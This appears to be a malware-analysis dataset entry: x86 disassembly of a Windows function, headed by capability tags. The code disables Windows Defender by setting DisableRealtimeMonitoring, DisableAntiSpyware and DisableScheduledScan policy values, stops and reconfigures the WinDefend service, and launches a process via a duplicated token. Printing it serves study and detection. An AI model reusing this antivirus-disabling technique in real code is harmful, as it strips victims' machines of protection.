Function at 0x403bb0
Capabilities:
Continue service
Create process on windows
Disable windows defender features via registry on windows
Modify service
Pause service
Resolve function by parsing pe exports
Set registry value
Stop service

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x428
mov eax, dword [0x40b040]
xor eax, esp
mov dword [esp + 0x424], eax
push esi
push edi
push 0x28
xorps xmm0, xmm0
mov dword [esp + 0x74], 0
push 0x4089c8
lea ecx, [esp + 0x68]
movaps xmmword [esp + 0x68], xmm0
mov dword [esp + 0x7c], 0
call fcn.00405660
lea ecx, [esp + 0x60]
call fcn.00403740
mov ecx, dword [esp + 0x74]
cmp ecx, 7
jbe 0x403c3b
mov edx, dword [esp + 0x60]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x403c31
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x403c31
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0040638a
add esp, 8
call fcn.00402f90
call fcn.004024d0
lea eax, [esp + 0x14]
mov dword [esp + 0x38], 1
push eax
push 2
push 0
push str.SOFTWAREPoliciesMicrosoftWindows_DefenderReal_Time_Protection
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x403c8e
push 4
lea eax, [esp + 0x3c]
push eax
push 4
push 0
push str.DisableRealtimeMonitoring
push dword [esp + 0x28]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [esp + 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov edi, eax
test edi, edi
je 0x403d83
push 0xf01ff
push str.WinDefend
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov esi, eax
test esi, esi
jne 0x403cca
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x403d83
lea eax, [esp + 0xbc]
push eax
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
lea eax, [esp + 0x3c]
mov dword [esp + 0x3c], 0
push eax
push 3
push esi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2W]
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push edi
call esi
lea eax, [esp + 0x14]
push eax
push 2
push 0
push str.SOFTWAREPoliciesMicrosoftWindows_Defender
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x403d44
push 4
lea eax, [esp + 0x3c]
push eax
push 4
push 0
push str.DisableAntiSpyware
push dword [esp + 0x28]
call esi
push dword [esp + 0x14]
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call edi
jmp 0x403d4a
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [esp + 0x14]
push eax
push 2
push 0
push str.SOFTWAREPoliciesMicrosoftWindows_DefenderScan
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x403d83
push 4
lea eax, [esp + 0x3c]
push eax
push 4
push 0
push str.DisableScheduledScan
push dword [esp + 0x28]
call esi
push dword [esp + 0x14]
call edi
call fcn.00401220
mov ecx, str.gold32.exe
call fcn.004017a0
mov ecx, str.gold64.exe
call fcn.004017a0
mov ecx, str.cmd.exe
call fcn.004017a0
mov ecx, str.conhost.exe
call fcn.004017a0
mov ecx, str.rundll32.exe
call fcn.004017a0
mov ecx, str.loaddll32.exe
call fcn.004017a0
mov ecx, str.wmiadap.exe
call fcn.004017a0
mov ecx, str.taskmgr.exe
call fcn.004017a0
call fcn.00401a90
push 0x104
lea eax, [esp + 0x224]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
jne 0x403e11
mov eax, 1
pop edi
pop esi
mov ecx, dword [esp + 0x424]
xor ecx, esp
call fcn.00406237
mov esp, ebp
pop ebp
ret 0x10
xorps xmm0, xmm0
mov dword [esp + 0x50], 0
lea ecx, [esp + 0x220]
movaps xmmword [esp + 0x40], xmm0
mov dword [esp + 0x54], 0
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x403e33
sub ecx, edx
lea eax, [esp + 0x220]
sar ecx, 1
push ecx
push eax
lea ecx, [esp + 0x48]
call fcn.00405660
cmp dword [esp + 0x54], 7
lea edi, [esp + 0x40]
mov esi, dword [esp + 0x50]
cmova edi, dword [esp + 0x40]
test esi, esi
je 0x403f29
push 0x100
lea eax, [esp + 0x124]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov ecx, 0x408354
mov edx, 0x100
nop
movzx eax, word [ecx]
cmp ax, dx
jae 0x403ee1
movzx eax, al
add ecx, 2
mov byte [esp + eax + 0x120], 1
cmp ecx, 0x408358
jne 0x403e90
or ecx, 0xffffffff
lea eax, [esi - 1]
cmp eax, ecx
cmovb ecx, eax
lea ecx, [edi + ecx*2]
nop dword [eax]
movzx eax, word [ecx]
cmp ax, dx
jae 0x403ed2
cmp byte [esp + eax + 0x120], 0
jne 0x403edb
cmp ecx, edi
je 0x403f29
sub ecx, 2
jmp 0x403ec0
sub ecx, edi
sar ecx, 1
jmp 0x403f2c
or ecx, 0xffffffff
lea eax, [esi - 1]
cmp eax, ecx
cmovb ecx, eax
lea ecx, [edi + ecx*2]
nop
movzx esi, word [ecx]
mov edx, 2
mov eax, 0x408354
nop dword [eax]
cmp word [eax], si
je 0x403f1f
add eax, 2
sub edx, 1
jne 0x403f00
cmp ecx, edi
je 0x403f16
sub ecx, 2
jmp 0x403ef0
mov esi, dword [esp + 0x50]
or ecx, 0xffffffff
jmp 0x403f2c
mov esi, dword [esp + 0x50]
sub ecx, edi
sar ecx, 1
jmp 0x403f2c
or ecx, 0xffffffff
cmp ecx, 0xffffffff
je 0x403fd0
inc ecx
mov dword [esp + 0x90], 0
cmp esi, ecx
mov dword [esp + 0x94], 0
lea eax, [esp + 0x40]
xorps xmm0, xmm0
cmovb ecx, esi
movaps xmmword [esp + 0x80], xmm0
cmp dword [esp + 0x54], 7
push ecx
cmova eax, dword [esp + 0x44]
lea ecx, [esp + 0x84]
push eax
call fcn.00405660
mov ecx, dword [esp + 0x54]
cmp ecx, 7
jbe 0x403fb4
mov edx, dword [esp + 0x40]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x403faa
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404307
push ecx
push edx
call fcn.0040638a
add esp, 8
movaps xmm0, xmmword [esp + 0x80]
movaps xmmword [esp + 0x40], xmm0
movq xmm0, qword [esp + 0x90]
movq qword [esp + 0x50], xmm0
push 8
xorps xmm0, xmm0
mov dword [esp + 0x74], 0
push str.Main.dat
lea ecx, [esp + 0x68]
movaps xmmword [esp + 0x68], xmm0
mov dword [esp + 0x7c], 0
call fcn.00405660
mov edx, dword [esp + 0x50]
mov esi, 0x7ffffffe
mov edi, dword [esp + 0x70]
mov eax, esi
sub eax, edx
cmp eax, edi
jb 0x40432f
cmp dword [esp + 0x54], 7
lea ecx, [esp + 0x40]
push edi
cmova ecx, dword [esp + 0x44]
lea eax, [esp + 0x64]
cmp dword [esp + 0x78], 7
cmova eax, dword [esp + 0x64]
push eax
push edx
push ecx
push ecx
push dword [esp + 0x50]
lea ecx, [esp + 0x98]
call fcn.00405e10
lea ecx, [esp + 0x40]
call fcn.00403330
test al, al
je 0x404056
xor edi, edi
jmp 0x404263
lea eax, [esp + 0x18]
mov dword [esp + 0x18], 0
push eax
push 0x8b
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x404081
lea edi, [eax + 1]
jmp 0x404263
lea eax, [esp + 0x1c]
mov dword [esp + 0x1c], 0
push eax
push 1
push 2
push 0
push 0x2000000
push dword [esp + 0x2c]
call dword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
test eax, eax
jne 0x4040bb
push dword [esp + 0x18]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, 1
jmp 0x404263
push 0x40
lea eax, [esp + 0xe0]
mov dword [esp + 0xdc], 0x44
push 0
push eax
call sub.VCRUNTIME140.dll_memset
mov ecx, dword [esp + 0x9c]
add esp, 0xc
sub esi, ecx
xorps xmm0, xmm0
movaps xmmword [esp + 0x20], xmm0
cmp esi, 1
jb 0x404334
cmp dword [esp + 0x94], 7
lea eax, [esp + 0x80]
push ecx
cmova eax, dword [esp + 0x84]
push eax
push 1
push 0x408a30
push ecx
push dword [esp + 0x50]
lea ecx, [esp + 0xd4]
call fcn.00405e10
push 0x408a30
lea edx, [esp + 0xc0]
lea ecx, [esp + 0xa8]
call fcn.00405490
mov ecx, dword [esp + 0xd4]
add esp, 4
cmp ecx, 7
jbe 0x404184
mov edx, dword [esp + 0xbc]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40417a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40417a
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0040638a
add esp, 8
cmp dword [esp + 0xb8], 7
lea ecx, [esp + 0x20]
push ecx
lea ecx, [esp + 0xdc]
push ecx
push 0
push 0
push 0x10
push 0
push 0
push 0
lea eax, [esp + 0xc4]
cmova eax, dword [esp + 0xc4]
push eax
push 0
push dword [esp + 0x44]
call dword [sym.imp.ADVAPI32.dll_CreateProcessAsUserW]
test eax, eax
jne 0x4041e1
call dword [sym.imp.KERNEL32.dll_GetLastError]
push dword [esp + 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, eax
call esi
push dword [esp + 0x1c]
call esi
jmp 0x404201
push dword [esp + 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [esp + 0x1c]
call esi
push dword [esp + 0x20]
call esi
push dword [esp + 0x24]
call esi
xor edi, edi
mov ecx, dword [esp + 0xb8]
cmp ecx, 7
jbe 0x404243
mov edx, dword [esp + 0xa4]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x404239
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404307
push ecx
push edx
call fcn.0040638a
add esp, 8
xor eax, eax
mov dword [esp + 0xb4], 0
mov dword [esp + 0xb8], 7
mov word [esp + 0xa4], ax
mov ecx, dword [esp + 0x94]
cmp ecx, 7
jbe 0x4042a1
mov edx, dword [esp + 0x80]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x404297
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404307
push ecx
push edx
call fcn.0040638a
add esp, 8
mov ecx, dword [esp + 0x74]
cmp ecx, 7
jbe 0x4042d9
mov edx, dword [esp + 0x60]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4042cf
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404307
push ecx
push edx
call fcn.0040638a
add esp, 8
mov ecx, dword [esp + 0x54]
cmp ecx, 7
jbe 0x404317
mov edx, dword [esp + 0x40]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40430d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40430d
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0040638a
add esp, 8
mov ecx, dword [esp + 0x42c]
mov eax, edi
pop edi
pop esi
xor ecx, esp
call fcn.00406237
mov esp, ebp
pop ebp
ret 0x10
call fcn.00401170
call fcn.00401170
int3